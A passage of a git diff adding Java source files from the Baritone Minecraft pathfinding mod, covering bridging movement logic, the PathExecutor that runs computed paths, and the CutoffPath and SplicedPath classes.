&& (feet.equals(dest.add(getDirection())) || feet.equals(dest.add(getDirection()).add(getDirection())))) { + return state.setStatus(MovementStatus.SUCCESS); + } + Block low = BlockStateInterface.get(ctx, src).getBlock(); + Block high = BlockStateInterface.get(ctx, src.up()).getBlock(); + if (ctx.player().getPositionVec().y > src.y + 0.1D && !ctx.player().isOnGround() && (low == Blocks.VINE || low == Blocks.LADDER || high == Blocks.VINE || high == Blocks.LADDER)) { + // hitting W could cause us to climb the ladder instead of going forward + // wait until we're on the ground + return state; + } + BlockPos into = dest.subtract(src).add(dest); + BlockState intoBelow = BlockStateInterface.get(ctx, into); + BlockState intoAbove = BlockStateInterface.get(ctx, into.up()); + if (wasTheBridgeBlockAlwaysThere && (!MovementHelper.isLiquid(ctx, feet) || Baritone.settings().sprintInWater.value) && (!MovementHelper.avoidWalkingInto(intoBelow) || MovementHelper.isWater(intoBelow)) && !MovementHelper.avoidWalkingInto(intoAbove)) { + state.setInput(Input.SPRINT, true); + } + + BlockState destDown = BlockStateInterface.get(ctx, dest.down()); + BlockPos against = positionsToBreak[0]; + if (feet.getY() != dest.getY() && ladder && (destDown.getBlock() == Blocks.VINE || destDown.getBlock() == Blocks.LADDER)) { + against = destDown.getBlock() == Blocks.VINE ? MovementPillar.getAgainst(new CalculationContext(baritone), dest.down()) : dest.offset(destDown.get(LadderBlock.FACING).getOpposite()); + if (against == null) { + logDirect("Unable to climb vines. Consider disabling allowVines."); + return state.setStatus(MovementStatus.UNREACHABLE); + } + } + MovementHelper.moveTowards(ctx, state, against); + return state; + } else { + wasTheBridgeBlockAlwaysThere = false; + Block standingOn = BlockStateInterface.get(ctx, feet.down()).getBlock(); + if (standingOn.equals(Blocks.SOUL_SAND) || standingOn instanceof SlabBlock) { // see issue #118 + double dist = Math.max(Math.abs(dest.getX() + 0.5 - ctx.player().getPositionVec().x), Math.abs(dest.getZ() + 0.5 - ctx.player().getPositionVec().z)); + if (dist < 0.85) { // 0.5 + 0.3 + epsilon + MovementHelper.moveTowards(ctx, state, dest); + return state.setInput(Input.MOVE_FORWARD, false) + .setInput(Input.MOVE_BACK, true); + } + } + double dist1 = Math.max(Math.abs(ctx.player().getPositionVec().x - (dest.getX() + 0.5D)), Math.abs(ctx.player().getPositionVec().z - (dest.getZ() + 0.5D))); + PlaceResult p = MovementHelper.attemptToPlaceABlock(state, baritone, dest.down(), false, true); + if ((p == PlaceResult.READY_TO_PLACE || dist1 < 0.6) && !Baritone.settings().assumeSafeWalk.value) { + state.setInput(Input.SNEAK, true); + } + switch (p) { + case READY_TO_PLACE: { + if (ctx.player().isCrouching() || Baritone.settings().assumeSafeWalk.value) { + state.setInput(Input.CLICK_RIGHT, true); + } + return state; + } + case ATTEMPTING: { + if (dist1 > 0.83) { + // might need to go forward a bit + float yaw = RotationUtils.calcRotationFromVec3d(ctx.playerHead(), VecUtils.getBlockPosCenter(dest), ctx.playerRotations()).getYaw(); + if (Math.abs(state.getTarget().rotation.getYaw() - yaw) < 0.1) { + // but only if our attempted place is straight ahead + return state.setInput(Input.MOVE_FORWARD, true); + } + } else if (ctx.playerRotations().isReallyCloseTo(state.getTarget().rotation)) { + // well i guess theres something in the way + return state.setInput(Input.CLICK_LEFT, true); + } + return state; + } + default: + break; + } + if (feet.equals(dest)) { + // If we are in the block that we are trying to get to, we are sneaking over air and we need to place a block beneath us against the one we just walked off of + // Out.log(from + " " + to + " " + faceX + "," + faceY + "," + faceZ + " " + whereAmI); + double faceX = (dest.getX() + src.getX() + 1.0D) * 0.5D; + double faceY = (dest.getY() + src.getY() - 1.0D) * 0.5D; + double faceZ = (dest.getZ() + src.getZ() + 1.0D) * 0.5D; + // faceX, faceY, faceZ is the middle of the face between from and to + BlockPos goalLook = src.down(); // this is the block we were just standing on, and the one we want to place against + + Rotation backToFace = RotationUtils.calcRotationFromVec3d(ctx.playerHead(), new Vector3d(faceX, faceY, faceZ), ctx.playerRotations()); + float pitch = backToFace.getPitch(); + double dist2 = Math.max(Math.abs(ctx.player().getPositionVec().x - faceX), Math.abs(ctx.player().getPositionVec().z - faceZ)); + if (dist2 < 0.29) { // see issue #208 + float yaw = RotationUtils.calcRotationFromVec3d(VecUtils.getBlockPosCenter(dest), ctx.playerHead(), ctx.playerRotations()).getYaw(); + state.setTarget(new MovementState.MovementTarget(new Rotation(yaw, pitch), true)); + state.setInput(Input.MOVE_BACK, true); + } else { + state.setTarget(new MovementState.MovementTarget(backToFace, true)); + } + if (ctx.isLookingAt(goalLook)) { + return state.setInput(Input.CLICK_RIGHT, true); // wait to right click until we are able to place + } + // Out.log("Trying to look at " + goalLook + ", actually looking at" + Baritone.whatAreYouLookingAt()); + if (ctx.playerRotations().isReallyCloseTo(state.getTarget().rotation)) { + state.setInput(Input.CLICK_LEFT, true); + } + return state; + } + MovementHelper.moveTowards(ctx, state, positionsToBreak[0]); + return state; + // TODO MovementManager.moveTowardsBlock(to); // move towards not look at because if we are bridging for a couple blocks in a row, it is faster if we dont spin around and walk forwards then spin around and place backwards for every block + } + } + + @Override + public boolean safeToCancel(MovementState state) { + // if we're in the process of breaking blocks before walking forwards + // or if this isn't a sneak place (the block is already there) + // then it's safe to cancel this + return state.getStatus() != MovementStatus.RUNNING || MovementHelper.canWalkOn(ctx, dest.down()); + } + + @Override + protected boolean prepared(MovementState state) { + if (ctx.playerFeet().equals(src) || ctx.playerFeet().equals(src.down())) { + Block block = BlockStateInterface.getBlock(ctx, src.down()); + if (block == Blocks.LADDER || block == Blocks.VINE) { + state.setInput(Input.SNEAK, true); + } + } + return super.prepared(state); + } +} diff --git a/src/baritone/pathing/path/CutoffPath.java b/src/baritone/pathing/path/CutoffPath.java new file mode 100644 index 00000000..30b2d4e9 --- /dev/null +++ b/src/baritone/pathing/path/CutoffPath.java @@ -0,0 +1,70 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.path; + +import baritone.api.pathing.calc.IPath; +import baritone.api.pathing.goals.Goal; +import baritone.api.pathing.movement.IMovement; +import baritone.api.utils.BetterBlockPos; +import baritone.utils.pathing.PathBase; + +import java.util.Collections; +import java.util.List; + +public class CutoffPath extends PathBase { + + private final List path; + + private final List movements; + + private final int numNodes; + + private final Goal goal; + + public CutoffPath(IPath prev, int firstPositionToInclude, int lastPositionToInclude) { + path = prev.positions().subList(firstPositionToInclude, lastPositionToInclude + 1); + movements = prev.movements().subList(firstPositionToInclude, lastPositionToInclude); + numNodes = prev.getNumNodesConsidered(); + goal = prev.getGoal(); + sanityCheck(); + } + + public CutoffPath(IPath prev, int lastPositionToInclude) { + this(prev, 0, lastPositionToInclude); + } + + @Override + public Goal getGoal() { + return goal; + } + + @Override + public List movements() { + return Collections.unmodifiableList(movements); + } + + @Override + public List positions() { + return Collections.unmodifiableList(path); + } + + @Override + public int getNumNodesConsidered() { + return numNodes; + } +} diff --git a/src/baritone/pathing/path/PathExecutor.java b/src/baritone/pathing/path/PathExecutor.java new file mode 100644 index 00000000..2968adc6 --- /dev/null +++ b/src/baritone/pathing/path/PathExecutor.java @@ -0,0 +1,666 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.path; + +import baritone.Baritone; +import baritone.api.pathing.calc.IPath; +import baritone.api.pathing.movement.ActionCosts; +import baritone.api.pathing.movement.IMovement; +import baritone.api.pathing.movement.MovementStatus; +import baritone.api.pathing.path.IPathExecutor; +import baritone.api.utils.*; +import baritone.api.utils.input.Input; +import baritone.behavior.PathingBehavior; +import baritone.pathing.calc.AbstractNodeCostSearch; +import baritone.pathing.movement.CalculationContext; +import baritone.pathing.movement.Movement; +import baritone.pathing.movement.MovementHelper; +import baritone.pathing.movement.movements.*; +import baritone.utils.BlockStateInterface; +import net.minecraft.util.Tuple; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.vector.Vector3d; +import net.minecraft.util.math.vector.Vector3i; + +import java.util.*; + +import static baritone.api.pathing.movement.MovementStatus.*; + +/** + * Behavior to execute a precomputed path + * + * @author leijurv + */ +public class PathExecutor implements IPathExecutor, Helper { + + private static final double MAX_MAX_DIST_FROM_PATH = 3; + private static final double MAX_DIST_FROM_PATH = 2; + + /** + * Default value is equal to 10 seconds. It's find to decrease it, but it must be at least 5.5s (110 ticks). + * For more information, see issue #102. + * + * @see Issue #102 + * @see Anime + */ + private static final double MAX_TICKS_AWAY = 200; + + private final IPath path; + private int pathPosition; + private int ticksAway; + private int ticksOnCurrent; + private Double currentMovementOriginalCostEstimate; + private Integer costEstimateIndex; + private boolean failed; + private boolean recalcBP = true; + private HashSet toBreak = new HashSet<>(); + private HashSet toPlace = new HashSet<>(); + private HashSet toWalkInto = new HashSet<>(); + + private final PathingBehavior behavior; + private final IPlayerContext ctx; + + private boolean sprintNextTick; + + public PathExecutor(PathingBehavior behavior, IPath path) { + this.behavior = behavior; + this.ctx = behavior.ctx; + this.path = path; + this.pathPosition = 0; + } + + /** + * Tick this executor + * + * @return True if a movement just finished (and the player is therefore in a "stable" state, like, + * not sneaking out over lava), false otherwise + */ + public boolean onTick() { + if (pathPosition == path.length() - 1) { + pathPosition++; + } + if (pathPosition >= path.length()) { + return true; // stop bugging me, I'm done + } + Movement movement = (Movement) path.movements().get(pathPosition); + BetterBlockPos whereAmI = ctx.playerFeet(); + if (!movement.getValidPositions().contains(whereAmI)) { + for (int i = 0; i < pathPosition && i < path.length(); i++) {//this happens for example when you lag out and get teleported back a couple blocks + if (((Movement) path.movements().get(i)).getValidPositions().contains(whereAmI)) { + int previousPos = pathPosition; + pathPosition = i; + for (int j = pathPosition; j <= previousPos; j++) { + path.movements().get(j).reset(); + } + onChangeInPathPosition(); + onTick(); + return false; + } + } + for (int i = pathPosition + 3; i < path.length() - 1; i++) { //dont check pathPosition+1. the movement tells us when it's done (e.g. sneak placing) + // also don't check pathPosition+2 because reasons + if (((Movement) path.movements().get(i)).getValidPositions().contains(whereAmI)) { + if (i - pathPosition > 2) { + logDebug("Skipping forward " + (i - pathPosition) + " steps, to " + i); + } + //System.out.println("Double skip sundae"); + pathPosition = i - 1; + onChangeInPathPosition(); + onTick(); + return false; + } + } + } + Tuple status = closestPathPos(path); + if (possiblyOffPath(status, MAX_DIST_FROM_PATH)) { + ticksAway++; + System.out.println("FAR AWAY FROM PATH FOR " + ticksAway + " TICKS. Current distance: " + status.getA() + ". Threshold: " + MAX_DIST_FROM_PATH); + if (ticksAway > MAX_TICKS_AWAY) { + logDebug("Too far away from path for too long, cancelling path"); + cancel(); + return false; + } + } else { + ticksAway = 0; + } + if (possiblyOffPath(status, MAX_MAX_DIST_FROM_PATH)) { // ok, stop right away, we're way too far. + logDebug("too far from path"); + cancel(); + return false; + } + //long start = System.nanoTime() / 1000000L; + BlockStateInterface bsi = new BlockStateInterface(ctx); + for (int i = pathPosition - 10; i < pathPosition + 10; i++) { + if (i < 0 || i >= path.movements().size()) { + continue; + } + Movement m = (Movement) path.movements().get(i); + List prevBreak = m.toBreak(bsi); + List prevPlace = m.toPlace(bsi); + List prevWalkInto = m.toWalkInto(bsi); + m.resetBlockCache(); + if (!prevBreak.equals(m.toBreak(bsi))) { + recalcBP = true; + } + if (!prevPlace.equals(m.toPlace(bsi))) { + recalcBP = true; + } + if (!prevWalkInto.equals(m.toWalkInto(bsi))) { + recalcBP = true; + } + } + if (recalcBP) { + HashSet newBreak = new HashSet<>(); + HashSet newPlace = new HashSet<>(); + HashSet newWalkInto = new HashSet<>(); + for (int i = pathPosition; i < path.movements().size(); i++) { + Movement m = (Movement) path.movements().get(i); + newBreak.addAll(m.toBreak(bsi)); + newPlace.addAll(m.toPlace(bsi)); + newWalkInto.addAll(m.toWalkInto(bsi)); + } + toBreak = newBreak; + toPlace = newPlace; + toWalkInto = newWalkInto; + recalcBP = false; + } + /*long end = System.nanoTime() / 1000000L; + if (end - start > 0) { + System.out.println("Recalculating break and place took " + (end - start) + "ms"); + }*/ + if (pathPosition < path.movements().size() - 1) { + IMovement next = path.movements().get(pathPosition + 1); + if (!behavior.baritone.bsi.worldContainsLoadedChunk(next.getDest().x, next.getDest().z)) { + logDebug("Pausing since destination is at edge of loaded chunks"); + clearKeys(); + return true; + } + } + boolean canCancel = movement.safeToCancel(); + if (costEstimateIndex == null || costEstimateIndex != pathPosition) { + costEstimateIndex = pathPosition; + // do this only once, when the movement starts, and deliberately get the cost as cached when this path was calculated, not the cost as it is right now + currentMovementOriginalCostEstimate = movement.getCost(); + for (int i = 1; i < Baritone.settings().costVerificationLookahead.value && pathPosition + i < path.length() - 1; i++) { + if (((Movement) path.movements().get(pathPosition + i)).calculateCost(behavior.secretInternalGetCalculationContext()) >= ActionCosts.COST_INF && canCancel) { + logDebug("Something has changed in the world and a future movement has become impossible. Cancelling."); + cancel(); + return true; + } + } + } + double currentCost = movement.recalculateCost(behavior.secretInternalGetCalculationContext()); + if (currentCost >= ActionCosts.COST_INF && canCancel) { + logDebug("Something has changed in the world and this movement has become impossible. Cancelling."); + cancel(); + return true; + } + if (!movement.calculatedWhileLoaded() && currentCost - currentMovementOriginalCostEstimate > Baritone.settings().maxCostIncrease.value && canCancel) { + // don't do this if the movement was calculated while loaded + // that means that this isn't a cache error, it's just part of the path interfering with a later part + logDebug("Original cost " + currentMovementOriginalCostEstimate + " current cost " + currentCost + ". Cancelling."); + cancel(); + return true; + } + if (shouldPause()) { + logDebug("Pausing since current best path is a backtrack"); + clearKeys(); + return true; + } + MovementStatus movementStatus = movement.update(); + if (movementStatus == UNREACHABLE || movementStatus == FAILED) { + logDebug("Movement returns status " + movementStatus); + cancel(); + return true; + } + if (movementStatus == SUCCESS) { + //System.out.println("Movement done, next path"); + pathPosition++; + onChangeInPathPosition(); + onTick(); + return true; + } else { + sprintNextTick = shouldSprintNextTick(); + if (!sprintNextTick) { + ctx.player().setSprinting(false); // letting go of control doesn't make you stop sprinting actually + } + ticksOnCurrent++; + if (ticksOnCurrent > currentMovementOriginalCostEstimate + Baritone.settings().movementTimeoutTicks.value) { + // only cancel if the total time has exceeded the initial estimate + // as you break the blocks required, the remaining cost goes down, to the point where + // ticksOnCurrent is greater than recalculateCost + 100 + // this is why we cache cost at the beginning, and don't recalculate for this comparison every tick + logDebug("This movement has taken too long (" + ticksOnCurrent + " ticks, expected " + currentMovementOriginalCostEstimate + "). Cancelling."); + cancel(); + return true; + } + } + return canCancel; // movement is in progress, but if it reports cancellable, PathingBehavior is good to cut onto the next path + } + + private Tuple closestPathPos(IPath path) { + double best = -1; + BlockPos bestPos = null; + for (IMovement movement : path.movements()) { + for (BlockPos pos : ((Movement) movement).getValidPositions()) { + double dist = VecUtils.entityDistanceToCenter(ctx.player(), pos); + if (dist < best || best == -1) { + best = dist; + bestPos = pos; + } + } + } + return new Tuple<>(best, bestPos); + } + + private boolean shouldPause() { + Optional current = behavior.getInProgress(); + if (!current.isPresent()) { + return false; + } + if (!ctx.player().isOnGround()) { + return false; + } + if (!MovementHelper.canWalkOn(ctx, ctx.playerFeet().down())) { + // we're in some kind of sketchy situation, maybe parkouring + return false; + } + if (!MovementHelper.canWalkThrough(ctx, ctx.playerFeet()) || !MovementHelper.canWalkThrough(ctx, ctx.playerFeet().up())) { + // suffocating? + return false; + } + if (!path.movements().get(pathPosition).safeToCancel()) { + return false; + } + Optional currentBest = current.get().bestPathSoFar(); + if (!currentBest.isPresent()) { + return false; + } + List positions = currentBest.get().positions(); + if (positions.size() < 3) { + return false; // not long enough yet to justify pausing, its far from certain we'll actually take this route + } + // the first block of the next path will always overlap + // no need to pause our very last movement when it would have otherwise cleanly exited with MovementStatus SUCCESS + positions = positions.subList(1, positions.size()); + return positions.contains(ctx.playerFeet()); + } + + private boolean possiblyOffPath(Tuple status, double leniency) { + double distanceFromPath = status.getA(); + if (distanceFromPath > leniency) { + // when we're midair in the middle of a fall, we're very far from both the beginning and the end, but we aren't actually off path + if (path.movements().get(pathPosition) instanceof MovementFall) { + BlockPos fallDest = path.positions().get(pathPosition + 1); // .get(pathPosition) is the block we fell off of + return VecUtils.entityFlatDistanceToCenter(ctx.player(), fallDest) >= leniency; // ignore Y by using flat distance + } else { + return true; + } + } else { + return false; + } + } + + /** + * Regardless of current path position, snap to the current player feet if possible + * + * @return Whether or not it was possible to snap to the current player feet + */ + public boolean snipsnapifpossible() { + if (!ctx.player().isOnGround() && ctx.world().getFluidState(ctx.playerFeet()).isEmpty()) { + // if we're falling in the air, and not in water, don't splice + return false; + } else { + // we are either onGround or in liquid + if (ctx.player().getMotion().y < -0.1) { + // if we are strictly moving downwards (not stationary) + // we could be falling through water, which could be unsafe to splice + return false; // so don't + } + } + int index = path.positions().indexOf(ctx.playerFeet()); + if (index == -1) { + return false; + } + pathPosition = index; // jump directly to current position + clearKeys(); + return true; + } + + private boolean shouldSprintNextTick() { + boolean requested = behavior.baritone.getInputOverrideHandler().isInputForcedDown(Input.SPRINT); + + // we'll take it from here, no need for minecraft to see we're holding down control and sprint for us + behavior.baritone.getInputOverrideHandler().setInputForceState(Input.SPRINT, false); + + // first and foremost, if allowSprint is off, or if we don't have enough hunger, don't try and sprint + if (!new CalculationContext(behavior.baritone, false).canSprint) { + return false; + } + IMovement current = path.movements().get(pathPosition); + + // traverse requests sprinting, so we need to do this check first + if (current instanceof MovementTraverse && pathPosition < path.length() - 3) { + IMovement next = path.movements().get(pathPosition + 1); + if (next instanceof MovementAscend && sprintableAscend(ctx, (MovementTraverse) current, (MovementAscend) next, path.movements().get(pathPosition + 2))) { + if (skipNow(ctx, current)) { + logDebug("Skipping traverse to straight ascend"); + pathPosition++; + onChangeInPathPosition(); + onTick(); + behavior.baritone.getInputOverrideHandler().setInputForceState(Input.JUMP, true); + return true; + } else { + logDebug("Too far to the side to safely sprint ascend"); + } + } + } + + // if the movement requested sprinting, then we're done + if (requested) { + return true; + } + + // however, descend and ascend don't request sprinting, because they don't know the context of what movement comes after it + if (current instanceof MovementDescend) { + + if (pathPosition < path.length() - 2) { + // keep this out of onTick, even if that means a tick of delay before it has an effect + IMovement next = path.movements().get(pathPosition + 1); + if (MovementHelper.canUseFrostWalker(ctx, next.getDest().down())) { + // frostwalker only works if you cross the edge of the block on ground so in some cases we may not overshoot + // Since MovementDescend can't know the next movement we have to tell it + if (next instanceof MovementTraverse || next instanceof MovementParkour) { + boolean couldPlaceInstead = Baritone.settings().allowPlace.value && behavior.baritone.getInventoryBehavior().hasGenericThrowaway() && next instanceof MovementParkour; // traverse doesn't react fast enough + // this is true if the next movement does not ascend or descends and goes into the same cardinal direction (N-NE-E-SE-S-SW-W-NW) as the descend + // in that case current.getDirection() is e.g. (0, -1, 1) and next.getDirection() is e.g. (0, 0, 3) so the cross product of (0, 0, 1) and (0, 0, 3) is taken, which is (0, 0, 0) because the vectors are colinear (don't form a plane) + // since movements in exactly the opposite direction (e.g. descend (0, -1, 1) and traverse (0, 0, -1)) would also pass this check we also have to rule out that case + // we can do that by adding the directions because traverse is always 1 long like descend and parkour can't jump through current.getSrc().down() + boolean sameFlatDirection = !current.getDirection().up().add(next.getDirection()).equals(BlockPos.ZERO) + && current.getDirection().up().crossProduct(next.getDirection()).equals(BlockPos.ZERO); // here's why you learn maths in school + if (sameFlatDirection && !couldPlaceInstead) { + ((MovementDescend) current).forceSafeMode(); + } + } + } + } + if (((MovementDescend) current).safeMode() && !((MovementDescend) current).skipToAscend()) { + logDebug("Sprinting would be unsafe"); + return false; + } + + if (pathPosition < path.length() - 2) { + IMovement next = path.movements().get(pathPosition + 1); + if (next instanceof MovementAscend && current.getDirection().up().equals(next.getDirection().down())) { + // a descend then an ascend in the same direction + pathPosition++; + onChangeInPathPosition(); + onTick(); + // okay to skip clearKeys and / or onChangeInPathPosition here since this isn't possible to repeat, since it's asymmetric + logDebug("Skipping descend to straight ascend"); + return true; + } + if (canSprintFromDescendInto(ctx, current, next)) { + + if (next instanceof MovementDescend && pathPosition < path.length() - 3) { + IMovement next_next = path.movements().get(pathPosition + 2); + if (next_next instanceof MovementDescend && !canSprintFromDescendInto(ctx, next, next_next)) { + return false; + } + + } + if (ctx.playerFeet().equals(current.getDest())) { + pathPosition++; + onChangeInPathPosition(); + onTick(); + } + + return true; + } + //logDebug("Turning off sprinting " + movement + " " + next + " " + movement.getDirection() + " " + next.getDirection().down() + " " + next.getDirection().down().equals(movement.getDirection())); + } + } + if (current instanceof MovementAscend && pathPosition != 0) { + IMovement prev = path.movements().get(pathPosition - 1); + if (prev instanceof MovementDescend && prev.getDirection().up().equals(current.getDirection().down())) { + BlockPos center = current.getSrc().up(); + // playerFeet adds 0.1251 to account for soul sand + // farmland is 0.9375 + // 0.07 is to account for farmland + if (ctx.player().getPositionVec().y >= center.getY() - 0.07) { + behavior.baritone.getInputOverrideHandler().setInputForceState(Input.JUMP, false); + return true; + } + } + if (pathPosition < path.length() - 2 && prev instanceof MovementTraverse && sprintableAscend(ctx, (MovementTraverse) prev, (MovementAscend) current, path.movements().get(pathPosition + 1))) { + return true; + } + } + if (current instanceof MovementFall) { + Tuple data = overrideFall((MovementFall) current); + if (data != null) { + BetterBlockPos fallDest = new BetterBlockPos(data.getB()); + if (!path.positions().contains(fallDest)) { + throw new IllegalStateException(); + } + if (ctx.playerFeet().equals(fallDest)) { + pathPosition = path.positions().indexOf(fallDest); + onChangeInPathPosition(); + onTick(); + return true; + } + clearKeys(); + behavior.baritone.getLookBehavior().updateTarget(RotationUtils.calcRotationFromVec3d(ctx.playerHead(), data.getA(), ctx.playerRotations()), false); + behavior.baritone.getInputOverrideHandler().setInputForceState(Input.MOVE_FORWARD, true); + return true; + } + } + return false; + } + + private Tuple overrideFall(MovementFall movement) { + Vector3i dir = movement.getDirection(); + if (dir.getY() < -3) { + return null; + } + if (!movement.toBreakCached.isEmpty()) { + return null; // it's breaking + } + Vector3i flatDir = new Vector3i(dir.getX(), 0, dir.getZ()); + int i; + outer: + for (i = pathPosition + 1; i < path.length() - 1 && i < pathPosition + 3; i++) { + IMovement next = path.movements().get(i); + if (!(next instanceof MovementTraverse)) { + break; + } + if (!flatDir.equals(next.getDirection())) { + break; + } + for (int y = next.getDest().y; y <= movement.getSrc().y + 1; y++) { + BlockPos chk = new BlockPos(next.getDest().x, y, next.getDest().z); + if (!MovementHelper.fullyPassable(ctx, chk)) { + break outer; + } + } + if (!MovementHelper.canWalkOn(ctx, next.getDest().down())) { + break; + } + } + i--; + if (i == pathPosition) { + return null; // no valid extension exists + } + double len = i - pathPosition - 0.4; + return new Tuple<>( + new Vector3d(flatDir.getX() * len + movement.getDest().x + 0.5, movement.getDest().y, flatDir.getZ() * len + movement.getDest().z + 0.5), + movement.getDest().add(flatDir.getX() * (i - pathPosition), 0, flatDir.getZ() * (i - pathPosition))); + } + + private static boolean skipNow(IPlayerContext ctx, IMovement current) { + double offTarget = Math.abs(current.getDirection().getX() * (current.getSrc().z + 0.5D - ctx.player().getPositionVec().z)) + Math.abs(current.getDirection().getZ() * (current.getSrc().x + 0.5D - ctx.player().getPositionVec().x)); + if (offTarget > 0.1) { + return false; + } + // we are centered + BlockPos headBonk = current.getSrc().subtract(current.getDirection()).up(2); + if (MovementHelper.fullyPassable(ctx, headBonk)) { + return true; + } + // wait 0.3 + double flatDist = Math.abs(current.getDirection().getX() * (headBonk.getX() + 0.5D - ctx.player().getPositionVec().x)) + Math.abs(current.getDirection().getZ() * (headBonk.getZ() + 0.5 - ctx.player().getPositionVec().z)); + return flatDist > 0.8; + } + + private static boolean sprintableAscend(IPlayerContext ctx, MovementTraverse current, MovementAscend next, IMovement nextnext) { + if (!Baritone.settings().sprintAscends.value) { + return false; + } + if (!current.getDirection().equals(next.getDirection().down())) { + return false; + } + if (nextnext.getDirection().getX() != next.getDirection().getX() || nextnext.getDirection().getZ() != next.getDirection().getZ()) { + return false; + } + if (!MovementHelper.canWalkOn(ctx, current.getDest().down())) { + return false; + } + if (!MovementHelper.canWalkOn(ctx, next.getDest().down())) { + return false; + } + if (!next.toBreakCached.isEmpty()) { + return false; // it's breaking + } + for (int x = 0; x < 2; x++) { + for (int y = 0; y < 3; y++) { + BlockPos chk = current.getSrc().up(y); + if (x == 1) { + chk = chk.add(current.getDirection()); + } + if (!MovementHelper.fullyPassable(ctx, chk)) { + return false; + } + } + } + if (MovementHelper.avoidWalkingInto(ctx.world().getBlockState(current.getSrc().up(3)))) { + return false; + } + return !MovementHelper.avoidWalkingInto(ctx.world().getBlockState(next.getDest().up(2))); // codacy smh my head + } + + private static boolean canSprintFromDescendInto(IPlayerContext ctx, IMovement current, IMovement next) { + if (next instanceof MovementDescend && next.getDirection().equals(current.getDirection())) { + return true; + } + if (!MovementHelper.canWalkOn(ctx, current.getDest().add(current.getDirection()))) { + return false; + } + if (next instanceof MovementTraverse && next.getDirection().down().equals(current.getDirection())) { + return true; + } + return next instanceof MovementDiagonal && Baritone.settings().allowOvershootDiagonalDescend.value; + } + + private void onChangeInPathPosition() { + clearKeys(); + ticksOnCurrent = 0; + } + + private void clearKeys() { + // i'm just sick and tired of this snippet being everywhere lol + behavior.baritone.getInputOverrideHandler().clearAllKeys(); + } + + private void cancel() { + clearKeys(); + behavior.baritone.getInputOverrideHandler().getBlockBreakHelper().stopBreakingBlock(); + pathPosition = path.length() + 3; + failed = true; + } + + @Override + public int getPosition() { + return pathPosition; + } + + public PathExecutor trySplice(PathExecutor next) { + if (next == null) { + return cutIfTooLong(); + } + return SplicedPath.trySplice(path, next.path, false).map(path -> { + if (!path.getDest().equals(next.getPath().getDest())) { + throw new IllegalStateException(); + } + PathExecutor ret = new PathExecutor(behavior, path); + ret.pathPosition = pathPosition; + ret.currentMovementOriginalCostEstimate = currentMovementOriginalCostEstimate; + ret.costEstimateIndex = costEstimateIndex; + ret.ticksOnCurrent = ticksOnCurrent; + return ret; + }).orElseGet(this::cutIfTooLong); // dont actually call cutIfTooLong every tick if we won't actually use it, use a method reference + } + + private PathExecutor cutIfTooLong() { + if (pathPosition > Baritone.settings().maxPathHistoryLength.value) { + int cutoffAmt = Baritone.settings().pathHistoryCutoffAmount.value; + CutoffPath newPath = new CutoffPath(path, cutoffAmt, path.length() - 1); + if (!newPath.getDest().equals(path.getDest())) { + throw new IllegalStateException(); + } + logDebug("Discarding earliest segment movements, length cut from " + path.length() + " to " + newPath.length()); + PathExecutor ret = new PathExecutor(behavior, newPath); + ret.pathPosition = pathPosition - cutoffAmt; + ret.currentMovementOriginalCostEstimate = currentMovementOriginalCostEstimate; + if (costEstimateIndex != null) { + ret.costEstimateIndex = costEstimateIndex - cutoffAmt; + } + ret.ticksOnCurrent = ticksOnCurrent; + return ret; + } + return this; + } + + @Override + public IPath getPath() { + return path; + } + + public boolean failed() { + return failed; + } + + public boolean finished() { + return pathPosition >= path.length(); + } + + public Set toBreak() { + return Collections.unmodifiableSet(toBreak); + } + + public Set toPlace() { + return Collections.unmodifiableSet(toPlace); + } + + public Set toWalkInto() { + return Collections.unmodifiableSet(toWalkInto); + } + + public boolean isSprinting() { + return sprintNextTick; + } +} diff --git a/src/baritone/pathing/path/SplicedPath.java b/src/baritone/pathing/path/SplicedPath.java new file mode 100644 index 00000000..1ba497d8 --- /dev/null +++ b/src/baritone/pathing/path/SplicedPath.java @@ -0,0 +1,106 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.path; + +import baritone.api.pathing.calc.IPath; +import baritone.api.pathing.goals.Goal; +import baritone.api.pathing.movement.IMovement; +import baritone.api.utils.BetterBlockPos; +import baritone.utils.pathing.PathBase; + +import java.util.*; + +public class SplicedPath extends PathBase { + + private final List path; + + private final List movements; + + private final int numNodes; + + private final Goal goal; + + private SplicedPath(List path, List movements, int numNodesConsidered, Goal goal) { + this.path = path; + this.movements = movements; + this.numNodes = numNodesConsidered; + this.goal = goal; + sanityCheck(); + } + + @Override + public Goal getGoal() { + return goal; + } + + @Override + public List movements() { + return Collections.unmodifiableList(movements); + } + + @Override + public List positions() { + return Collections.unmodifiableList(path); + } + + @Override + public int getNumNodesConsidered() { + return numNodes; + } + + @Override + public int length() { + return path.size(); + } + + public static Optional trySplice(IPath first, IPath second, boolean allowOverlapCutoff) { + if (second == null || first == null) { + return Optional.empty(); + } + if (!first.getDest().equals(second.getSrc())) { + return Optional.empty(); + } + HashSet secondPos = new HashSet<>(second.positions()); + int firstPositionInSecond = -1; + for (int i = 0; i < first.length() - 1; i++) { // overlap in the very last element is fine (and required) so only go up to first.length() - 1 + if (secondPos.contains(first.positions().get(i))) { + firstPositionInSecond = i; + break; 